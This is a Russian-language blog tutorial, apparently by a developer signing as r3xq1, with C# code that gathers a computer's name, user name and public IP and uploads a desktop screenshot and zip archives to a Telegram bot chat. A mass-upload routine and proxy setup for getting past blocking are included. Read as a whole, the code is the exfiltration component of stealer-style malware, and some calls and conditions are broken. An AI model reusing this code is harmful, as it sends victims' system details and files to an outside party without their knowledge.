August 22, 2020

Отправка данных в TelegramBot

Сначала сделаем отправку без использования библиотек, напрямую по URL.

У нас есть API сайт телеграмм:

В котором мы можем найти все данные для отправки запросов и получения данных.


Методы для отправки можете найти тут

Пример вызова методов:

Используется System.Net.Http

namespace TGbotEx
{
    using System;
    using System.IO;
    using System.Net;
    using System.Threading.Tasks;
    internal static class Program
    {
        private static readonly string Desktop = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);
        [STAThread]
        public static async Task Main()
        {
            string textMessage = string.Concat(
            "👤 Компьютер: ", Environment.MachineName,
            "\n 🏴 Пользователь: ", Environment.UserName,
            "\n 🌐 IP: ", GetIP("https://api.ipify.org"));
            string photos = Path.Combine(Desktop, "CaptureFile.jpg"); // Путь к фотографии
            string text = Path.Combine(Desktop, "SendFile.txt"); // Путь к текстовому файлу
            await TGchannel.UrlSendFileAsync("Ваш токен бота", Ваш ChatID, false, photos).ConfigureAwait(false);
            Console.Read();
        }
        // Метод для получения IP адреса
        private static string GetIP(string url)
        {
            string result = string.Empty;
            try
            {
                var Link = new Uri(url);
                using (var client = new WebClient())
                {
                    result = client.DownloadString(Link);
                }
            }
            catch { }
            return result;
        }
    }
}

Для отправки zip файла можно использовать ещё такой способ: Кликни сюда

Использовать метод для отправки архива можно так:

string ZipArchive = Path.Combine(Desktop, "NameYourZipFile.zip");
var CaptionBuild = new StringBuilder();
CaptionBuild.AppendLine(quot;⚡️ Архив прислан от: {Environment.UserName}");
CaptionBuild.AppendLine(quot;👤 Компьютер: {Environment.MachineName}");
CaptionBuild.AppendLine(quot;🏴 Пользователь: {Environment.UserName}");
CaptionBuild.AppendLine(quot;🌐 IP: {GetIP("https://api.ipify.org")}");
CaptionBuild.AppendLine("");
CaptionBuild.AppendLine("Developed by r3xq1");
SendFileToServer(ZipArchive, "application/x-winzip", Token, ID_chat);

Все методы прокомментированы, думаю объяснять ничего особо не нужно.


Теперь напишем методы с использованием библиотеки Telegram.Bot.dll

Методы для отправки можете найти тут

private static TelegramBotClient bot;

Для отправки файл(а)ов:

 /// <summary>
 /// Асинхронный метод для отправки файла в канал телеграмма
 /// </summary>
 /// <param name="token">Токен бота</param>
 /// <param name="chatId">ID чата</param>
 /// <param name="filename">Полный путь к файлу</param>
 /// <returns></returns>
 public static async Task AsyncSendFile(string token, int? chatId, string filename)
 {
   if (!string.IsNullOrWhiteSpace(token) || chatId != null || System.IO.File.Exists(filename)) // chatId ! = null
   {
       try
       {
          ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls;
          bot = new TelegramBotClient(token);
           // using (var stream = System.IO.File.Open(filename, FileMode.Open))
           using (FileStream stream = System.IO.File.OpenRead(filename))
           {
              string ssf = Path.GetFileName(filename);
              var Iof = new InputOnlineFile(stream, ssf);
              string fromsend = quot;Файл отправлен от: {Environment.UserName}";
              Message result = await bot?.SendDocumentAsync(chatId, Iof, fromsend); 
            }
        }
        catch (Exception ex)
        {
           System.IO.File.WriteAllText("AsyncSendFile_Error.txt", quot;{ex.Message}{Environment.NewLine}");
        }
   }}

Для отправки сообщения:

/// <summary>
/// Асинхронный метод для отправки текста в канал телеграмма
/// </summary>
/// <param name="token">Токен бота</param>
/// <param name="chatId">ID чата</param>
/// <param name="textMessage">Сообщение для отправки</param>
/// <returns></returns>
public static async Task AsyncSendText(string token, int? chatId, string textMessage)
{
  if (!string.IsNullOrWhiteSpace(token) || chatId != null || !string.IsNullOrWhiteSpace(textMessage))
  {
     try
     {
        ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls;
        bot = new TelegramBotClient(token);
        Message result = await bot?.SendTextMessageAsync(chatId, textMessage);
     }
     catch (Exception ex)
     {
       System.IO.File.WriteAllText("AsyncSendText_Error.txt", quot;{ex.Message}{Environment.NewLine}");
     }
  }
}

Используется так:

await TGLibChannel.AsyncSendText("Ваш токен бота", Ваш ChatID, textMessage).ConfigureAwait(false);
await TGLibChannel.AsyncSendFile("Ваш токен бота", Ваш ChatID, false, photos).ConfigureAwait(false);
TGLibChannel.MassSendFiles("Ваш токен бота", Ваш ChatID, Desktop, "*zip"); // отправляем файлы zip

ProxyServer - Подключаем прокси

Немного о том, что делать если Роскомнадзор блокирует отправку/получения данных из/в телеграмм?!

В таком случае придётся использовать VPN ( на пример: NordVPN )

Или подключать Proxy к самому TelegramBot'у.

Вот пример как подключить прокси к боту:

Для Телеграмм нужно использовать Socks5 прокси от MihaZupan

P.S: Если не хотите использовать .dll библиотеку, то можно скачать классы по этим ссылкам:

Выберем подходящий проксик по этой ссылке.

Теперь подключаем в коде:

var proxy = new HttpToSocks5Proxy(ProxyIP, ProxyPort);
proxy.ResolveHostnamesLocally = true;
Bot = new TelegramBotClient(BotToken, proxy);

или так

var proxy = new HttpToSocks5Proxy("IPAddress", Port, Username, Password);
client.Proxy = proxy;

На этом всё!

Если у Вас есть желание поблагодарить меня небольшой суммой я буду только рад

BTC: 1BebhKcKzEHDbCtNz21DT7ocB6wv1LQVGH

По всем вопросами пишите мне в:

https://github.com/r3xq1